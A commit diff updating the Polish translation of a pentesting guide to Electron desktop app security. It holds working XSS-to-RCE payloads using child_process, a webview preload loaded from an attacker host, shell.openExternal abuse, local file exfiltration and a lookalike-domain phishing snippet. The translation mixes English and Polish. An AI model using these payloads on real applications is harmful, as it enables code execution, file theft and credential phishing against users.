Translated ['src/network-services-pentesting/pentesting-web/electron-des

2025-10-10 18:36:50 +00:00 · 2025-09-29 22:11:29 +00:00 · 2025-09-29 22:11:29 +00:00 · 71b4282b95
commit 71b4282b95
parent 2930b8ebc5
1 changed files with 131 additions and 103 deletions
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@ -6,12 +6,12 @@

 Electron łączy lokalny backend (z **NodeJS**) i frontend (**Chromium**), chociaż brakuje mu niektórych mechanizmów bezpieczeństwa nowoczesnych przeglądarek.

-Zazwyczaj kod aplikacji Electron można znaleźć wewnątrz pliku `.asar`; aby uzyskać kod, trzeba go wyodrębnić:
+Zazwyczaj kod aplikacji Electron można znaleźć wewnątrz pliku `.asar`; aby uzyskać kod, trzeba go wypakować:
 ```bash
 npx asar extract app.asar destfolder #Extract everything
 npx asar extract-file app.asar main.js #Extract just a file
 ```
-W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, określono plik `main.js`, w którym ustawione są konfiguracje bezpieczeństwa.
+W kodzie źródłowym aplikacji Electron, wewnątrz `packet.json`, możesz znaleźć określony plik `main.js`, w którym ustawione są konfiguracje bezpieczeństwa.
 ```json
 {
 "name": "standard-notes",
@ -19,12 +19,12 @@ W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, określono plik
 ```
 Electron ma 2 typy procesów:

- Proces główny (ma pełny dostęp do NodeJS)
- Proces renderujący (powinien mieć ograniczony dostęp do NodeJS ze względów bezpieczeństwa)
+- Main Process (ma pełny dostęp do NodeJS)
+- Renderer Process (powinien mieć ograniczony dostęp do NodeJS ze względów bezpieczeństwa)

 ![](<../../../images/image (182).png>)

-Proces **renderujący** będzie oknem przeglądarki ładującym plik:
+Proces **renderer process** będzie oknem przeglądarki ładującym plik:
 ```javascript
 const { BrowserWindow } = require("electron")
 let win = new BrowserWindow()
@ -32,18 +32,18 @@ let win = new BrowserWindow()
 //Open Renderer Process
 win.loadURL(`file://path/to/index.html`)
 ```
-Ustawienia **procesu renderera** można **skonfigurować** w **procesie głównym** w pliku main.js. Niektóre z tych ustawień mogą **zapobiec uzyskaniu RCE przez aplikację Electron** lub innym podatnościom, jeśli **ustawienia są poprawnie skonfigurowane**.
+Ustawienia **procesu renderera** można **skonfigurować** w **procesie głównym** w pliku main.js. Niektóre konfiguracje mogą **zapobiec uzyskaniu RCE** przez aplikację Electron lub innym podatnościom, jeśli **ustawienia są poprawnie skonfigurowane**.

-Aplikacja Electron może uzyskać dostęp do urządzenia za pomocą Node apis, chociaż można to skonfigurować, aby temu zapobiec:
+Aplikacja Electron **może uzyskać dostęp do urządzenia** przez Node apis, chociaż można to skonfigurować, aby temu zapobiec:

- **`nodeIntegration`** - jest domyślnie `off`. Jeśli jest włączone, pozwala na dostęp do funkcji Node z procesu renderera.
+- **`nodeIntegration`** - jest domyślnie `off`. Jeśli jest włączone, umożliwia dostęp do funkcji Node z procesu renderera.
 - **`contextIsolation`** - jest domyślnie `on`. Jeśli `off`, proces główny i proces renderera nie są odizolowane.
- **`preload`** - domyślnie pusty.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - jest domyślnie `off`. Ograniczy działania, które NodeJS może wykonać.
+- **`preload`** - domyślnie puste.
+- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - domyślnie `off`. Ograniczy działania, które NodeJS może wykonać.
 - Node Integration in Workers
- **`nodeIntegrationInSubframes`**- jest domyślnie `off`.
- Jeśli **`nodeIntegration`** jest **enabled**, pozwoli to na użycie **Node.js APIs** na stronach WWW, które są **ładowane w iframe'ach** w aplikacji Electron.
- Jeśli **`nodeIntegration`** jest **disabled**, preloady załadują się w iframe
+- **`nodeIntegrationInSubframes`** - domyślnie `off`.
+- Jeśli **`nodeIntegration`** jest **enabled**, pozwoli to na użycie **Node.js APIs** na stronach ładowanych w **iframe'ach** w aplikacji Electron.
+- Jeśli **`nodeIntegration`** jest **disabled**, wtedy preloads zostaną załadowane w iframe

 Przykład konfiguracji:
 ```javascript
@ -71,7 +71,7 @@ spellcheck: true,
 },
 }
 ```
-Niektóre **RCE payloads** z [here](https://7as.es/electron/nodeIntegration_rce.txt):
+Kilka **RCE payloads** z [here](https://7as.es/electron/nodeIntegration_rce.txt):
 ```html
 Example Payloads (Windows):
 <img
@ -97,13 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
 ```
 ### Przechwytywanie ruchu

-Zmodyfikuj konfigurację start-main i dodaj użycie proxy, na przykład:
+Zmień konfigurację start-main i dodaj użycie proxy takiego jak:
 ```javascript
 "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
 ```
 ## Electron Local Code Injection

-Jeśli możesz lokalnie uruchomić aplikację Electron, możliwe, że będziesz w stanie sprawić, by wykonała dowolny kod JavaScript. Zobacz jak w:
+Jeśli możesz lokalnie uruchomić aplikację Electron, możliwe że możesz sprawić, by wykonała dowolny kod javascript. Sprawdź jak w:


 {{#ref}}
@ -112,7 +112,7 @@ Jeśli możesz lokalnie uruchomić aplikację Electron, możliwe, że będziesz

 ## RCE: XSS + nodeIntegration

-Jeśli **nodeIntegration** jest ustawione na **on**, JavaScript strony WWW może łatwo korzystać z funkcji Node.js, po prostu wywołując `require()`. Na przykład sposób uruchomienia aplikacji calc na Windows wygląda następująco:
+If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
 ```html
 <script>
 require("child_process").exec("calc")
@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")

 ## RCE: preload

-Skrypt wskazany w tym ustawieniu jest l**załadowany przed innymi skryptami w rendererze**, więc ma **nieograniczony dostęp do Node APIs**:
+Skrypt wskazany w tym ustawieniu jest **ładowany przed innymi skryptami w rendererze**, więc ma **nieograniczony dostęp do Node APIs**:
 ```javascript
 new BrowserWindow{
 webPreferences: {
@ -153,16 +153,16 @@ runCalc()

 ## RCE: XSS + contextIsolation

-_**contextIsolation**_ wprowadza **oddzielone konteksty między skryptami strony WWW a wewnętrznym kodem JavaScript Electron**, tak aby wykonanie JavaScript w jednym kontekście nie wpływało na drugi. Jest to niezbędna funkcja, aby wyeliminować możliwość RCE.
+The _**contextIsolation**_ wprowadza **oddzielone konteksty między skryptami strony a wewnętrznym kodem JavaScript Electron**, tak aby wykonanie JavaScript jednego kodu nie wpływało na drugie. Jest to niezbędna funkcja, aby wyeliminować możliwość RCE.

 Jeśli konteksty nie są izolowane, atakujący może:

-1. Wykonać **dowolny JavaScript w rendererze** (XSS lub nawigacja do zewnętrznych stron)
-2. **Nadpisać wbudowaną metodę**, która jest używana w preload lub wewnętrznym kodzie Electron, aby przejąć kontrolę nad funkcją
+1. Wykonać **arbitrary JavaScript in renderer** (XSS lub nawigacja do zewnętrznych stron)
+2. **Nadpisać wbudowaną metodę**, która jest używana w preload lub wewnętrznym kodzie Electron, aby przejąć funkcję
 3. **Wywołać** użycie **nadpisanej funkcji**
 4. RCE?

-Są 2 miejsca, gdzie wbudowane metody mogą zostać nadpisane: w preload code lub wewnętrznym kodzie Electron:
+There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:


 {{#ref}}
@ -179,34 +179,34 @@ electron-contextisolation-rce-via-electron-internal-code.md
 electron-contextisolation-rce-via-ipc.md
 {{#endref}}

-### Ominięcie zdarzenia kliknięcia
+### Bypass click event

-Jeśli zastosowano ograniczenia przy kliknięciu linku, możesz je obejść, wykonując **kliknięcie środkowym przyciskiem** zamiast zwykłego kliknięcia lewym przyciskiem.
+Jeśli nałożono ograniczenia przy klikaniu linku, możesz być w stanie je ominąć **używając kliknięcia środkowym przyciskiem** zamiast zwykłego kliknięcia lewym przyciskiem.
 ```javascript
 window.addEventListener('click', (e) => {
 ```
-## RCE przez shell.openExternal
+## RCE via shell.openExternal

-Aby uzyskać więcej informacji na temat tych przykładów, zobacz [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
+Aby uzyskać więcej informacji o tych przykładach, zobacz [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)

-Podczas wdrażania aplikacji desktopowej Electron, zapewnienie poprawnych ustawień dla `nodeIntegration` i `contextIsolation` jest kluczowe. Uznaje się, że **client-side remote code execution (RCE)** wymierzony w preload scripts lub natywny kod Electron uruchamiany z procesu głównego jest skutecznie zapobiegany, gdy te ustawienia są odpowiednio skonfigurowane.
+Podczas wdrażania aplikacji desktopowej Electron ważne jest prawidłowe ustawienie `nodeIntegration` i `contextIsolation`. Stwierdzono, że **client-side remote code execution (RCE)** wymierzone w preload scripts lub natywny kod Electrona z main process jest skutecznie uniemożliwione przy tych ustawieniach.

 Gdy użytkownik wchodzi w interakcję z linkami lub otwiera nowe okna, wywoływane są określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:
 ```javascript
 webContents.on("new-window", function (event, url, disposition, options) {}
 webContents.on("will-navigate", function (event, url) {}
 ```
-Te nasłuchiwacze są **nadpisywane przez aplikację desktopową** w celu zaimplementowania własnej **logiki biznesowej**. Aplikacja ocenia, czy link, do którego nastąpiła nawigacja, powinien zostać otwarty wewnętrznie czy w zewnętrznej przeglądarce. Decyzja ta jest zazwyczaj podejmowana przez funkcję `openInternally`. Jeśli ta funkcja zwraca `false`, oznacza to, że link powinien zostać otwarty zewnętrznie, korzystając z funkcji `shell.openExternal`.
+Te nasłuchiwacze są **nadpisywane przez aplikację desktopową**, aby zaimplementować własną **logikę biznesową**. Aplikacja ocenia, czy nawigowany link powinien zostać otwarty wewnętrznie, czy w zewnętrznej przeglądarce. Decyzja ta jest zwykle podejmowana przez funkcję `openInternally`. Jeśli ta funkcja zwraca `false`, oznacza to, że link powinien zostać otwarty zewnętrznie, przy użyciu funkcji `shell.openExternal`.

-**Here is a simplified pseudocode:**
+**Oto uproszczony pseudokod:**

 ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)

 ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)

-Electron JS security best practices odradzają akceptowanie niezaufanej zawartości przy użyciu funkcji `openExternal`, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Dla szczegółowych przykładów i dalszego wyjaśnienia tego tematu można odwołać się do [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), który zawiera przykłady protokołów Windows zdolnych wykorzystać tę podatność.
+Electron JS security best practices odradzają akceptowanie niezaufanej zawartości przy użyciu funkcji `openExternal`, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Dla szczegółowych przykładów i dalszego wyjaśnienia tego tematu można odwołać się do [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), które zawiera przykłady protokołów Windows zdolnych do wykorzystania tej podatności.

-W macos funkcję `openExternal` można wykorzystać do wykonania dowolnych poleceń, na przykład w `shell.openExternal('file:///System/Applications/Calculator.app')`.
+W macos funkcja `openExternal` może być wykorzystana do wykonania dowolnych poleceń, np. `shell.openExternal('file:///System/Applications/Calculator.app')`.

 **Przykłady exploitów protokołów Windows obejmują:**
 ```html
@ -230,15 +230,15 @@ window.open(
 ```
 ## RCE: webviewTag + vulnerable preload IPC + shell.openExternal

-Ta luka znajduje się w **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
+Ta luka jest opisana w **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.

-**webviewTag** jest **przestarzałą funkcją**, która pozwala na użycie **NodeJS** w **procesie renderera**; powinna być wyłączona, ponieważ umożliwia załadowanie skryptu wewnątrz kontekstu preload, na przykład:
+**webviewTag** to **przestarzała funkcja**, która pozwala na użycie **NodeJS** w **renderer process**, i powinna być wyłączona, ponieważ umożliwia załadowanie skryptu w kontekście preload, na przykład:
 ```xml
 <webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
 ```
-Dlatego atakujący, któremu uda się załadować dowolną stronę, mógłby użyć tego tagu do **load an arbitrary preload script**.
+W związku z tym atakujący, który zdoła załadować dowolną stronę, mógłby użyć tego tagu do **load an arbitrary preload script**.

-Ten preload script został następnie wykorzystany do wywołania **vulnerable IPC service (`skype-new-window`)**, który wywoływał **`shell.openExternal`** w celu uzyskania RCE:
+Ten preload script został następnie nadużyty do wywołania **vulnerable IPC service (`skype-new-window`)**, który wywoływał calling calling **`shell.openExternal`**, aby uzyskać RCE:
 ```javascript
 (async() => {
 const { ipcRenderer } = require("electron");
@ -251,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
 ```
 ## Odczyt plików wewnętrznych: XSS + contextIsolation

-**Wyłączenie `contextIsolation` umożliwia użycie tagów `<webview>`**, podobnych do `<iframe>`, do odczytu i exfiltracji lokalnych plików. Przykład pokazuje, jak wykorzystać tę podatność do odczytania zawartości plików wewnętrznych:
+**Wyłączenie `contextIsolation` umożliwia użycie tagów `<webview>`**, podobnych do `<iframe>`, do odczytu i exfiltrating lokalnych plików. Podany przykład pokazuje, jak wykorzystać tę podatność do odczytania zawartości plików wewnętrznych:

 ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)

-Dalej przedstawiono kolejny sposób na **odczyt pliku wewnętrznego**, naświetlający krytyczną podatność umożliwiającą odczyt lokalnych plików w aplikacji desktopowej Electron. Polega to na wstrzyknięciu skryptu w celu wykorzystania aplikacji i exfiltracji danych:
+Dodatkowo przedstawiono inną metodę **odczytania pliku wewnętrznego**, ukazującą krytyczną podatność na odczyt lokalnych plików w Electron desktop app. Polega ona na wstrzyknięciu skryptu w celu wykorzystania aplikacji i exfiltrate danych:
 ```html
 <br /><br /><br /><br />
 <h1>
@ -273,43 +273,43 @@ frames[0].document.body.innerText
 ```
 ## **RCE: XSS + Stary Chromium**

-Jeśli używane przez aplikację **chromium** jest **stare** i istnieją na nie **znane** **vulnerabilities**, może być możliwe **wykorzystanie ich i uzyskanie RCE przez XSS**.\
-Przykład można zobaczyć w tym **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
+Jeśli używane przez aplikację **chromium** jest **stare** i są na nim **known vulnerabilities**, może być możliwe **exploit it and obtain RCE through a XSS**.\
+Przykład znajdziesz w tym **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)

 ## **XSS Phishing przez Internal URL regex bypass**

-Zakładając, że znalazłeś XSS, ale **nie możesz wywołać RCE ani ukraść plików wewnętrznych** możesz spróbować użyć go do **wykradzenia poświadczeń przez phishing**.
+Zakładając, że znalazłeś XSS, ale **nie możesz wywołać RCE ani ukraść plików wewnętrznych**, możesz spróbować użyć go do **wykradzenia poświadczeń przez phishing**.

-Przede wszystkim musisz wiedzieć, co się dzieje, kiedy próbujesz otworzyć nowy URL, sprawdzając kod JS w front-endzie:
+Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod **JS** we **front-end**:
 ```javascript
 webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
 webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)
 ```
-Wywołanie **`openInternally`** zdecyduje, czy **link** zostanie **otworzony** w **oknie desktopowym**, ponieważ należy do platformy, **czy** zostanie otworzony w **przeglądarce jako zasób 3rd party**.
+Wywołanie **`openInternally`** zdecyduje, czy **link** zostanie **otwarty** w **desktop window**, ponieważ jest to link należący do platformy, **czy** zostanie otwarty w **browser as a 3rd party resource**.

-W przypadku, gdy **regex** użyty przez funkcję jest **wrażliwy na obejścia** (na przykład przez **nieuciekanie kropek w subdomenach**), atakujący może wykorzystać XSS do **otwarcia nowego okna**, które będzie znajdować się w infrastrukturze atakującego i **będzie prosić użytkownika o dane uwierzytelniające**:
+Jeśli **regex** użyty przez funkcję jest **vulnerable to bypasses** (na przykład przez **not escaping the dots of subdomains**), atakujący mógłby wykorzystać XSS, aby **open a new window which** będzie znajdować się w infrastrukturze atakującego i **asking for credentials** od użytkownika:
 ```html
 <script>
 window.open("<http://subdomainagoogleq.com/index.html>")
 </script>
 ```
-## `file://` Protokół
+## `file://` Protocol

-As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **własny protokół** prevents issues like this as you can limit the protocol to only serving a specific set of files.
+Jak wspomniano w [dokumentacji](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) strony uruchamiane na **`file://`** mają jednostronny dostęp do każdego pliku na Twoim komputerze, co oznacza, że **XSS issues can be used to load arbitrary files** z maszyny użytkownika. Użycie **custom protocol** zapobiega takim problemom, ponieważ możesz ograniczyć protokół do serwowania tylko określonego zestawu plików.

 ## Remote module

-The Electron Remote module allows **procesom renderera dostęp do API procesu głównego**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
+Moduł Remote w Electron umożliwia **renderer processes to access main process APIs**, ułatwiając komunikację wewnątrz aplikacji Electron. Jednak włączenie tego modułu wprowadza istotne ryzyka bezpieczeństwa. Powiększa powierzchnię ataku aplikacji, czyniąc ją bardziej podatną na podatności, takie jak cross-site scripting (XSS).

 > [!TIP]
-> Chociaż moduł **remote** udostępnia niektóre API z procesu głównego do procesów renderera, nie jest prosto uzyskać RCE tylko przez nadużywanie tych komponentów. Jednak komponenty mogą ujawniać wrażliwe informacje.
+> Chociaż moduł **remote** udostępnia niektóre API z main do renderer processes, nie jest prosto uzyskać RCE jedynie przez nadużycie komponentów. Jednak te komponenty mogą ujawniać wrażliwe informacje.

 > [!WARNING]
-> Wiele aplikacji, które nadal używają modułu remote, robi to w sposób, który **wymaga włączenia NodeIntegration** w procesie renderera, co jest **ogromnym zagrożeniem bezpieczeństwa**.
+> Wiele aplikacji, które nadal używają remote module, robi to w sposób, który wymaga włączenia **NodeIntegration** w renderer process, co jest **ogromnym ryzykiem bezpieczeństwa**.

-Since Electron 14 the `remote` module of Electron might be enabled in several steops cause due to security and performance reasons it's **zaleca się, aby go nie używać**.
+Od Electron 14 moduł `remote` może być włączony na kilka sposobów, jednak ze względów bezpieczeństwa i wydajności **zaleca się, by go nie używać**.

-To enable it, it'd first needed to **włączyć go w procesie głównym**:
+Aby go włączyć, najpierw trzeba go **włączyć w main process**:
 ```javascript
 const remoteMain = require('@electron/remote/main')
 remoteMain.initialize()
@ -320,39 +320,41 @@ mainWindow = new BrowserWindow({
 })
 remoteMain.enable(mainWindow.webContents)
 ```
-Następnie proces renderera może zaimportować obiekty z modułu w następujący sposób:
+Następnie proces renderera może zaimportować obiekty z modułu w ten sposób:
 ```javascript
 import { dialog, getCurrentWindow } from '@electron/remote'
 ```
-The **[post na blogu](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** wskazuje kilka interesujących **funkcji** udostępnionych przez obiekt **`app`** z remote module:
+The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** wskazuje na kilka interesujących **funkcji** udostępnionych przez obiekt **`app`** z modułu remote:

 - **`app.relaunch([options])`**
- **`Restartuje`** aplikację przez **`zakończenie`** bieżącej instancji i **`uruchomienie`** nowej. Przydatne przy **`aktualizacjach aplikacji`** lub znaczących **`zmianach stanu`**.
+- **Restartuje** aplikację przez **zakończenie** bieżącej instancji i **uruchomienie** nowej. Przydatne przy **aktualizacjach aplikacji** lub istotnych **zmianach stanu**.
 - **`app.setAppLogsPath([path])`**
- **`Definiuje`** lub **`tworzy`** katalog do przechowywania **logów aplikacji**. Logi można **`pobrać`** lub **`zmodyfikować`** używając **`app.getPath()`** lub **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])``**
- **`Rejestruje`** bieżący plik wykonywalny jako **domyślny handler** dla określonego **protokołu**. Możesz podać **własną ścieżkę** i **argumenty**, jeśli to potrzebne.
- **`app.setUserTasks(tasks)``**
- **`Dodaje`** zadania do kategorii **Tasks** w **Jump List** (na Windows). Każde zadanie może kontrolować, jak aplikacja jest **uruchamiana** lub jakie **argumenty** są przekazywane.
- **`app.importCertificate(options, callback)``**
- **`Importuje`** certyfikat **PKCS#12** do systemowego **magazynu certyfikatów** (tylko Linux). Można użyć **callback** do obsługi wyniku.
+- **Określa** lub **tworzy** katalog do przechowywania **logów aplikacji**. Logi można **pobrać** lub **zmodyfikować** używając **`app.getPath()`** lub **`app.setPath(pathName, newPath)`**.
+- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
+- **Rejestruje** bieżący plik wykonywalny jako **domyślny program obsługujący** dla określonego **protokołu**. Można podać **niestandardową ścieżkę** i **argumenty**, jeśli to potrzebne.
+- **`app.setUserTasks(tasks)`**
+- **Dodaje** zadania do kategorii **Tasks** w **Jump List** (na Windows). Każde zadanie może kontrolować, jak aplikacja jest **uruchamiana** lub jakie **argumenty** są przekazywane.
+- **`app.importCertificate(options, callback)`**
+- **Importuje** certyfikat **PKCS#12** do systemowego magazynu certyfikatów (tylko Linux). Do obsługi wyniku można użyć **callback**.
 - **`app.moveToApplicationsFolder([options])`**
- **`Przenosi`** aplikację do folderu **Applications** (na macOS). Pomaga zapewnić **standardową instalację** dla użytkowników Mac.
+- **Przenosi** aplikację do folderu **Applications** (na macOS). Pomaga zapewnić **standardową instalację** dla użytkowników Mac.
 - **`app.setJumpList(categories)`**
- **`Ustawia`** lub **`usuwa`** niestandardowy **Jump List** na **Windows**. Możesz określić **kategorie**, aby zorganizować, jak zadania pojawiają się dla użytkownika.
+- **Ustawia** lub **usuwa** niestandardową **Jump List** na **Windows**. Można określić **kategorie**, aby zorganizować sposób wyświetlania zadań użytkownikowi.
 - **`app.setLoginItemSettings(settings)`**
- **`Konfiguruje`**, które pliki wykonywalne są uruchamiane przy **logowaniu** wraz z ich **opcjonalnymi ustawieniami** (tylko macOS i Windows).
+- **Konfiguruje**, które **pliki wykonywalne** uruchamiają się przy **logowaniu**, oraz ich **opcje** (tylko macOS i Windows).

-Example:
+Przykład:
 ```javascript
 Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
 Native.app.exit()
 ```
-## Moduł systemPreferences
+## systemPreferences module

-To **główny interfejs API** umożliwiający dostęp do ustawień systemowych i **emitowanie zdarzeń systemowych** w Electron. Metody takie jak **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** są **częścią** tego modułu.
+**Główne API** do uzyskiwania dostępu do preferencji systemowych i **emitowania zdarzeń systemowych** w Electron.  

-**Przykładowe użycie:**
+Metody takie jak **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** są **częścią** tego modułu.
+
+**Przykład użycia:**
 ```javascript
 const { systemPreferences } = require('electron');

@ -367,31 +369,31 @@ console.log('Recent Places:', recentPlaces);
 ```
 ### **subscribeNotification / subscribeWorkspaceNotification**

-* **Nasłuchuje** natywnych powiadomień macOS za pomocą NSDistributedNotificationCenter.
-* Przed **macOS Catalina** można było przechwytywać **wszystkie** rozproszone powiadomienia, przekazując **nil** do CFNotificationCenterAddObserver.
-* Po **Catalina / Big Sur** aplikacje w sandboxie nadal mogą **subskrybować** **wiele zdarzeń** (np. **blokady/odblokowania ekranu**, **montowanie woluminów**, **aktywność sieciową** itp.) przez rejestrowanie powiadomień **po nazwie**.
+* **Nasłuchuje** **natywnych powiadomień macOS** za pomocą NSDistributedNotificationCenter.
+* Przed **macOS Catalina** można było sniffować **wszystkie** rozproszone powiadomienia, przekazując **nil** do CFNotificationCenterAddObserver.
+* Po **Catalina / Big Sur**, aplikacje w piaskownicy (sandboxed apps) nadal mogą **subskrybować** **wiele zdarzeń** (na przykład **blokady/odblokowania ekranu**, **montowanie woluminów**, **aktywność sieciowa**, itp.) rejestrując powiadomienia **po nazwie**.

 ### **getUserDefault / setUserDefault**

-* **Interfejsuje** z **NSUserDefaults**, które przechowuje preferencje **aplikacyjne** lub **globalne** na macOS.
+* **Interfejsuje** z **NSUserDefaults**, który przechowuje **preferencje aplikacyjne** lub **globalne** na macOS.

-* **getUserDefault** może **pobrać** wrażliwe informacje, takie jak **ostatnie lokalizacje plików** lub **geograficzne położenie użytkownika**.
+* **getUserDefault** może **pobrać** wrażliwe informacje, takie jak **ostatnie lokalizacje plików** lub **geograficzna lokalizacja użytkownika**.

-* **setUserDefault** może **modyfikować** te preferencje, potencjalnie wpływając na **konfigurację** aplikacji.
+* **setUserDefault** może **zmodyfikować** te preferencje, potencjalnie wpływając na **konfigurację** aplikacji.

-* W **starszych wersjach Electron** (przed v8.3.0) dostępny był tylko **standardowy zestaw** NSUserDefaults.
+* W **starszych wersjach Electron** (przed v8.3.0) dostępne było tylko **standardowe zestawy** NSUserDefaults.

 ## Shell.showItemInFolder

-Ta funkcja pokazuje wskazany plik w menedżerze plików, który **może automatycznie uruchomić ten plik**.
+This function whows the given file in a file manager, which **could automatically execute the file**.

 For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)

-## Content Security Policy
+## Polityka Bezpieczeństwa Treści (CSP)

-Aplikacje Electron powinny mieć Content Security Policy (CSP), aby **zapobiegać atakom XSS**. CSP to **standard bezpieczeństwa**, który pomaga **uniemożliwić wykonanie niezaufanego kodu** w przeglądarce.
+Electron apps powinny mieć **Content Security Policy (CSP)**, aby **zapobiegać atakom XSS**. **CSP** jest **standardem bezpieczeństwa**, który pomaga **zapobiegać** **wykonywaniu** **niezaufanego kodu** w przeglądarce.

-Zazwyczaj **konfiguruje się** go w pliku `main.js` lub w szablonie `index.html`, umieszczając CSP w **meta tagu**.
+Zwykle jest **konfigurowany** w pliku **`main.js`** lub w szablonie **`index.html`** z CSP umieszczonym wewnątrz **meta tagu**.

 For more information check:

@ -401,18 +403,41 @@ pentesting-web/content-security-policy-csp-bypass/
 {{#endref}}


-## **Tools**
+## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)

- [**Electronegativity**](https://github.com/doyensec/electronegativity) to narzędzie do identyfikacji błędnych konfiguracji i antywzorów bezpieczeństwa w aplikacjach opartych na Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) to open source plugin do VS Code dla aplikacji Electron wykorzystujący Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) do sprawdzania podatnych bibliotek firm trzecich
+This real-world chain affected Visual Studio Code 1.63 (CVE-2021-43908) and demonstrates how a single markdown-driven XSS in a webview can be escalated to full RCE when CSP, postMessage, and scheme handlers are misconfigured. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
+
+Attack chain overview
+- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
+- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
+- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
+- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
+- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
+
+Przykład RCE primitive w końcowym kontekście
+```js
+// RCE.html (executed in a Node-enabled webview context)
+require('child_process').exec('calc.exe');            // Windows
+require('child_process').exec('/System/Applications/Calculator.app'); // macOS
+```
+Powiązana lektura dotycząca problemów z zaufaniem postMessage:
+
+{{#ref}}
+../../../pentesting-web/postmessage-vulnerabilities/README.md
+{{#endref}}
+
+## **Narzędzia**
+
+- [**Electronegativity**](https://github.com/doyensec/electronegativity) służy do identyfikowania błędnej konfiguracji i antywzorów bezpieczeństwa w aplikacjach opartych na Electron.
+- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) to open source plugin do VS Code dla aplikacji Electron, który wykorzystuje Electronegativity.
+- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) do wykrywania podatnych bibliotek stron trzecich
 - [**Electro.ng**](https://electro.ng/): Wymaga zakupu

-## Labs
+## Laboratoria

-In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
+W [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) znajdziesz lab pokazujący, jak exploitować podatne aplikacje Electron.

-Kilka poleceń, które pomogą Ci w laboratorium:
+Kilka poleceń, które pomogą Ci w labie:
 ```bash
 # Download apps from these URls
 # Vuln to nodeIntegration
@ -462,11 +487,11 @@ Array.isArray = function () {
 throw new Error("testing isArray gadget");
 };
